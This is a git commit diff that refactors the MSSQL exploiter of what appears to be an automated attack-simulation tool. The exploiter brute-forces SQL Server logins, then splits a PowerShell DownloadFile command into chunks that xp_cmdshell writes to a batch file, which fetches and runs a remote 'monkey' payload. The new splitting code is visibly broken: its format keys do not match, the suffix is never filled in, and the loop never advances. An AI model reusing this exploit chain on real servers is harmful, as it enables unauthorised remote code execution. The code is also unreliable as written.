MSSQL refactored to dynamically split exploitation commands into smaller chunks

This commit is contained in:
VakarisZ 2019-08-26 18:49:58 +03:00
parent bd37995054
commit 3ebd7ed02d
1 changed files with 56 additions and 14 deletions

View File

@ -27,6 +27,12 @@ class MSSQLExploiter(HostExploiter):
SQL_DEFAULT_TCP_PORT = '1433'
# Temporary file that saves commands for monkey's download and execution.
TMP_FILE_NAME = 'tmp_monkey.bat'
MAX_XP_CMDSHELL_SIZE = 128
EXPLOIT_COMMAND_PREFIX = "xp_cmdshell \"<nul set /p="
EXPLOIT_COMMAND_SUFFIX = ">>%%(payload_file_path)s"
MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \
"DownloadFile(^\'%%(http_path)s^\' , ^\'%%(local_path)s^\')"
def __init__(self, host):
super(MSSQLExploiter, self).__init__(host)
@ -60,11 +66,18 @@ class MSSQLExploiter(HostExploiter):
commands = ["xp_cmdshell \"mkdir %s\"" % get_monkey_dir_path()]
MSSQLExploiter.execute_command(cursor, commands)
# Form download command in a file
commands = [
"xp_cmdshell \"<nul set /p=powershell (new-object System.Net.WebClient).DownloadFile>%s\"" % tmp_file_path,
"xp_cmdshell \"<nul set /p=(^\'%s^\' >>%s\"" % (http_path, tmp_file_path),
"xp_cmdshell \"<nul set /p=, ^\'%s^\') >>%s\"" % (dst_path, tmp_file_path)]
# Form download command
download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path, 'dst_path': dst_path}
# Form suffix
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': tmp_file_path}
exploit_command = MSSQLCommand(download_command,
prefix=MSSQLExploiter.EXPLOIT_COMMAND_PREFIX,
suffix=MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX,
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_SIZE)
# Split command into chunks mssql xp_cmdshell can execute
commands = exploit_command.split_into_array_of_smaller_strings()
MSSQLExploiter.execute_command(cursor, commands)
MSSQLExploiter.run_file(cursor, tmp_file_path)
self.add_executed_cmd(' '.join(commands))
@ -139,3 +152,32 @@ class MSSQLExploiter(HostExploiter):
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
'aborting brute force'.format(host, port))
return None
class MSSQLCommand(object):
def __init__(self, command, max_length, prefix="", suffix=""):
self.command = command
self.max_length = max_length
self.prefix = prefix
self.suffix = suffix
def get_full_command(self, command):
return "{}{}{}".format(self.prefix, command, self.suffix)
def split_into_array_of_smaller_strings(self):
remaining_command_to_split = self.command
commands = []
while self.command_is_too_long(self.get_full_command(remaining_command_to_split)):
command_of_max_len, remaining_command = self.split_at_max_length(remaining_command_to_split)
commands.append(self.get_full_command(command_of_max_len))
if remaining_command_to_split:
commands.append(remaining_command_to_split)
return commands
def split_at_max_length(self, command):
substring_size = self.max_length - len(self.prefix) - len(self.command) - 1
return self.get_full_command(command[0:substring_size]), command[substring_size:]
def command_is_too_long(self, command):
return len(command)+len(self.prefix)+len(self.suffix) > self.max_length